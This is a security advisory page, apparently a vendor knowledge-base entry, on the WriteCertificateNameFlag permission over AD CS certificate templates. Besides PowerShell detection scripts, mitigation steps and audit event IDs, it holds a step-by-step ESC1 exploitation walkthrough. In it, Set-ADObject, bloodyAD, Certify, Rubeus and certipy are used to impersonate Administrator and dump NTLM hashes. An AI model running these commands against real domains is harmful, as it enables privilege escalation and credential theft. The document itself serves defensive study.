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WriteCertificateNameFlag

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Summary
Forestall ACL Alias WriteCertificateNameFlag
AD Alias Write msPKI-Certificate-Name-Flag
Affected Object Types Certificate Templates
Exploitation Certainty Likely
AD Attribute msPKI-Certificate-Name-Flag
AD Attribute Guid ea1dddc4-60ff-416e-8cc0-17cee534bce7
AD Right WriteProperty

Description

The WriteCertificateNameFlag permission in Active Directory allows an account to modify the msPKI-Certificate-Name-Flag attribute on certificate templates. This attribute is crucial for PKI security as it controls several aspects of certificate enrollment, particularly how subject names are generated, validated, and included in certificates. When properly configured by administrators WriteCertificateNameFlag permissions, these settings ensure certificate identities reflect organizational structures, contain accurate user information, comply with naming policies, and maintain strong identity assurance throughout the certificate lifecycle—all essential for secure authentication and encrypted communications across enterprise resources.

However, if misconfigured, the WriteCertificateNameFlag permission can introduce significant security vulnerabilities. An attacker with this permission could modify the certificate template to enable the “Enrollee supplies subject” flag. When this flag is active, users can request certificates with any subject name they choose, regardless of their actual identity. This could allow an attacker to impersonate other entities, including trusted services or privileged users, by obtaining certificates with their identities. Such exploitation could lead to man-in-the-middle attacks, unauthorized authentication, and compromise of encrypted communications across the organization’s infrastructure.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteCertificateNameFlag entries.

1. Find-WriteCertificateNameFlag function

function Find-WriteCertificateNameFlag {
    [CmdletBinding()]
    param ([string]$TemplateName = $null,[string]$OutputPath = "WriteCertificateNameFlag.csv")
    Import-Module ActiveDirectory
    Write-Host "Gathering Active Directory certificate templates and inspecting ACLs for dangerous 'WriteProperty' permissions..."
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty;
    # Guid for the ms-PKI-Enrollment-Flag attribute
    $WriteCertificateNameFlagPermissionGuid = "ea1dddc4-60ff-416e-8cc0-17cee534bce7";
    $foundAcls = @()
    $templatesToScan = @()
    $configContext = (Get-ADRootDSE).ConfigurationNamingContext
    try {
        if ($TemplateName) {
            Write-Host "Searching for permissions on specific certificate template: '$TemplateName'..."
            $templatesToScan = Get-ADObject -Filter "cn -eq '$TemplateName'" -Properties nTSecurityDescriptor -SearchBase $configContext -ErrorAction Stop
            if (-not $templatesToScan) {Write-Output "Certificate template '$TemplateName' not found.";return;}} else {Write-Host "Searching for all pKICertificateTemplate objects...";$templatesToScan = Get-ADObject -Filter 'ObjectClass -eq "pKICertificateTemplate"' -SearchBase $configContext -ErrorAction Stop}
        if (-not $templatesToScan) {Write-Output "No Active Directory certificate templates were found to scan.";return;}
        foreach ($template in $templatesToScan) {
            $templateDistinguishedName = $template.DistinguishedName;
            try {
                $acl = Get-Acl -Path "AD:$templateDistinguishedName"
                foreach ($ace in $acl.Access) {
                    if ($ace.AccessControlType -eq $AccessControlType -and ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and  ($ace.ObjectType -eq $WriteCertificateNameFlagPermissionGuid) -and -not $ace.IsInherited) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Template' = $templateDistinguishedName
                            'Internal Threat'     = $ace.IdentityReference.Value}}}}catch {Write-Warning "Could not retrieve ACL for '$templateDistinguishedName': $($_.Exception.Message)"}}}catch {Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
    if ($foundAcls.Count -gt 0) {Write-Host "Found $($foundAcls.Count) Active Directory object(s) with explicit 'WriteProperty' permissions on the certificate flags."
        try { $foundAcls | Sort-Object -Unique 'Vulnerable Template', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Output "Results exported successfully to '$OutputPath'";}catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"}}else{Write-Output "No Active Directory objects found with explicit 'WriteProperty' permissions on the certificate flags."}}

2. Scan all templates in the domain

Find-WriteCertificateNameFlag

3. Scan a specified template

Find-WriteCertificateNameFlag  -TemplateName "tuser"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteCertificateNameFlag entries without relying on any external modules or dependencies.

1. Find-WriteCertificateNameFlagSimple function

function Find-WriteCertificateNameFlagSimple {
    [CmdletBinding()]
    param([string]$Target,[string]$OutputPath = "WriteCertificateNameFlag.csv" )
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $WriteProp = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $NameFlagGuid = [guid]"ea1dddc4-60ff-416e-8cc0-17cee534bce7"
    if ($Target) {
        try { $entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") ) }catch { Write-Error "Failed to bind '$Target': $_"; return } }else {
        try {
            $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");$cfgDN  = $root.Properties["configurationNamingContext"].Value
            $path   = "LDAP://$cfgDN";$sr     = New-Object System.DirectoryServices.DirectoryEntry($path)
            $ds     = [System.DirectoryServices.DirectorySearcher]::new($sr);$ds.Filter = "(objectClass=pKICertificateTemplate)"
            $ds.PageSize = 1000;[void]$ds.PropertiesToLoad.Add("distinguishedName")
            $hits   = $ds.FindAll();$entries = foreach($h in $hits){ try{ $h.GetDirectoryEntry() }catch{ continue } }
        } catch { Write-Error "LDAP search failed: $_"; return } }
    $rows = foreach($e in $entries){
        $dn = $e.distinguishedName
        try {
            $acl  = $e.ObjectSecurity
            $aces = $acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])} catch { continue }
        foreach($ace in $aces){
            if($ace.AccessControlType -eq $Allow -and ($ace.ActiveDirectoryRights -band $WriteProp) -and $ace.ObjectType -eq $NameFlagGuid -and -not $ace.IsInherited){
                $who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
                [PSCustomObject]@{
                    'Vulnerable Template' = $dn.ToString();
                    'Internal Threat'     = $who}}}}
    if($rows){$rows | Sort-Object 'Vulnerable Template','Internal Threat' -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8}else {Write-Output "No explicit WriteProperty(ms-PKI-Certificate-Name-Flag) ACEs found."}}

2. Scan all domain templates

Find-WriteCertificateNameFlagSimple

3. Scan a specific template

Find-WriteCertificateNameFlagSimple -Target "CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs"

Exploitation

When a certificate template includes both authentication and enrollment permissions, enabling supply alternative subject makes it vulnerable to ESC01 — a common misconfiguration in Active Directory Certificate Services (AD CS).

ESC01 allows low-privileged users to request authentication certificates for other users, including domain admins, by specifying arbitrary subject names (e.g., UPN or SAN). This can lead to privilege escalation and full domain compromise.

This permission can be exploitable on Windows systems with certify and rubeus, while on Linux systems, tools such as certipy can be effectively used for exploitation.Certify, Rubeus, Certipy

The following examples demonstrate exploitation on Windows and Linux environments.

Windows

First, modify the certificate template’s msPKI-Certificate-Name-Flag attribute using PowerShell:

$TemplateDistinguishedName = "CN=<Certificate Template Name>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<Domain>,DC=<RootDomain>"
$Flag = Get-ADObject $TemplateDistinguishedName -Property msPKI-Certificate-Name-Flag
# Set the flag to 1 (ENROLLEE_SUPPLIES_SUBJECT)
Set-ADObject $TemplateDistinguishedName -Replace @{'msPKI-Certificate-Name-Flag'=($Flag.'msPKI-Certificate-Name-Flag' -bor 0x1)}

After modifying the template, request a certificate with an impersonated subject:

.\Certify.exe request /ca:<CA FQDN>\<CA Name> /template:<Certificate Template> /altname:<UPN of the user to be impersonated> /subject:"<Distinguished Name of the user to be impersonated>"

After running Certify, save the issued certificate as a PEM file. Then use OpenSSL to convert it to PFX format.

openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx

Then use the certificate to authenticate as the target user and dump the NTLM hash.

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt /getcredentials

For example:

$TemplateDistinguishedName = "CN=USER_TEMP,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs"
$Flag = Get-ADObject $TemplateDistinguishedName -Property msPKI-Certificate-Name-Flag
# Set the flag to 1 (ENROLLEE_SUPPLIES_SUBJECT)
Set-ADObject $TemplateDistinguishedName -Replace @{'msPKI-Certificate-Name-Flag'=($Flag.'msPKI-Certificate-Name-Flag' -bor 0x1)}
Enable Enrollee supplies subject with powershell

Enable Enrollee supplies subject with powershell

Using the Administrator account SID

.\Certify.exe request /ca:"DC01.forestall.labs\Forestall-RootCA" /template:tuser /altname:administrator /sid:S-1-5-21-1824600434-3834112938-293921768-500
Request a certification with certify.exe

Request a certification with certify.exe

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx
Convert certificate to pfx format

Convert certificate to pfx format

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt /getcredentials
Request a tgt and get credentials

Request a tgt and get credentials

Linux

First, modify the certificate template’s msPKI-Certificate-Name-Flag attribute using BloodyAD:

##Get the value
bloodyAD --host <dchost> -d <domain> -u user> -p '<pass>' get object "<templateDN>" --attr msPKI-Certificate-Name-Flag
#XOR the value with 1 to enable supply altname


python3 -c "print(-1509949440 | 1)"


##Change value
bloodyAD --host <dchost> -d <domain>  -u <user> -p '<pass>' set object "<templateDN>" msPKI-Certificate-Name-Flag -v -1509949439

For example:

bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object "CN=tuser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs" --attr msPKI-Certificate-Name-Flag


python3 -c "print(-1509949440 | 1)"


bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object "CN=tuser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs" msPKI-Certificate-Name-Flag -v -1509949439
Enable Enrollee supplies subject with bloodyAD

Enable Enrollee supplies subject with bloodyAD

After setting the flag, the attacker can actively enroll a certificate from the CA using Linux tools. This results in a .pfx certificate file that can be used for authentication and impersonation.

certipy req -ca <CA Name> -target <CA DNS Name> -dc-ip <DC IP> -template "<Certificate Template>" -username '<User UPN>' -p '<User's Password>' -sid <impersonatedusersid>

For example:

certipy-ad req -u [email protected] -p 'Temp123!' -ca 'Forestall-RootCA' -template tuser -upn [email protected] -target 192.168.100.100 -sid 'S-1-5-21-1824600434-3834112938-293921768-500'
Request a certification with certipy

Request a certification with certipy

Retrieve the NTLM hash

certipy-ad auth -pfx administrator.pfx -username administrator -domain <domain> -dc-ip <dcip>

For example:

certipy-ad auth -pfx administrator.pfx -username administrator -domain forestall.labs -dc-ip 192.168.100.100
Retrieve NTLM hash using certipy

Retrieve NTLM hash using certipy

Important Note

After you have obtained the certificate, you can impersonate any user with this certificate.

Mitigation

1. Open Active Directory Services Interface (ADSI Edit).

2. Right-click ADSI Edit and select Connect to... from the context menu.

3. Select Configuration in Select a well-known Naming Context and click OK.

4. Go to Configuration > Services > Public Key Services > Certificate Templates.

5. In the Certificate Templates list, double-click the Certificate Template.

6. In the Properties window, navigate to the Security tab.

7. Click on the Advanced button to open the Advanced Security Settings dialog.

8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

9. Click Edit to modify the selected ACE.

10. In the permissions list, locate and remove the option Write msPKI-Certificate-Name-Flag.

11. Click OK to save your changes and close the dialogs.

ADSI

ADSI

Detection

Adding new Access Control Entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.

Event ID Description Fields/Attributes References
5136 A directory service object was modified. ntSecurityDescriptor https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662 An operation was performed on an object. AccessList, AccessMask https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4886 Certificate Services received a certificate request. CertificateTemplate, Requester https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)
4887 Certificate Services approved a certificate request and issued a certificate. CertificateTemplate, Requester https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)

References

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